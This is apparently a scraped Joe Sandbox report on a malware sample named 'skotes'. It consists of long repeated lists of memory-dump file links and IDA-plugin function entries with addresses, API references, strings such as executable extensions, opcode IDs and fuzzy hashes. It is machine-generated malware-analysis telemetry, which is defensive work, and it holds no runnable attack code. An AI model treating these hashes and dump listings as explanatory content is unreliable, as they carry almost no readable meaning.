Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 48de4ad94ed95af4b70789c6349d76b35570aeb085841c5db87c5001a14320ae
Instruction ID: e3c43adf05c21a65a29aa334a93651d3fa98776e067f6bdd5b0a068c3548e721
Opcode Fuzzy Hash: 48de4ad94ed95af4b70789c6349d76b35570aeb085841c5db87c5001a14320ae
Instruction Fuzzy Hash: 7C217170C142598EDF29EFA4C8556EEBBF0BF24321F60092FE151AA3D1E7B14A85CB50

Function 002067A9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00206902
__alloca_probe_16.LIBCMT ref: 00206998
__freea.LIBCMT ref: 00206A03
__freea.LIBCMT ref: 00206A0F

Strings

ej , xrefs: 00206949, 0020681A

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: ej
API String ID: 1635606685-354513724
Opcode ID: 9419651ee7f4284c9b27f9a454aa087b9bcf30eb0a8be5c3b64d93fb1acf64b5
Instruction ID: 4bea8f52eccd15f6375fa822c8470fa67fb03f552b1e2575d7e6ba36539268ba
Opcode Fuzzy Hash: 9419651ee7f4284c9b27f9a454aa087b9bcf30eb0a8be5c3b64d93fb1acf64b5
Instruction Fuzzy Hash: CF81B272E2035A9BDF209F64C889AEE7BB59F09314F198055E900B72C2D775CC74CBA0

Function 001F1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 001F1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001F1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001F1C2A

Strings

pContext, xrefs: 001F1C22
switchState, xrefs: 001F1B5E

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 86e87bd1d060f24c496e90825683c0b31f04221bb0ae72bc46f865d5740fe442
Instruction ID: 2bee1407dbb89d128f70b53e3c29b65f419aafedc8c0e2a5e7be024e3f4bc9d1
Opcode Fuzzy Hash: 86e87bd1d060f24c496e90825683c0b31f04221bb0ae72bc46f865d5740fe442
Instruction Fuzzy Hash: B531C235A00208FBCF14EF64C8859BDB3B5AF64314F204569EA15A7282EB70EE11CA90

Function 001F727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 001F72BE

Strings

.cmd, xrefs: 001F72DC
.bat, xrefs: 001F72ED
.com, xrefs: 001F72FE
.exe, xrefs: 001F72CB

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 3e5df2ac80565bf9d078c44c8d7658ad6b728823d65ae68cd65009181140af70
Instruction ID: e14ce0782a1f3ab33616872af612be7bf9941fa10bc7884643cc88bf0d06c96f
Opcode Fuzzy Hash: 3e5df2ac80565bf9d078c44c8d7658ad6b728823d65ae68cd65009181140af70
Instruction Fuzzy Hash: 79014937B1C62E3567152018ED02BB713D89BE2BB8B25002AFE54F71C1EF84EC9221E0

Function 001DFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001DFB06

Strings

kernel32.dll, xrefs: 001DFA7A
GetThreadGroupAffinity, xrefs: 001DFA93
SetThreadGroupAffinity, xrefs: 001DFA87
GetCurrentProcessorNumberEx, xrefs: 001DFABE

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
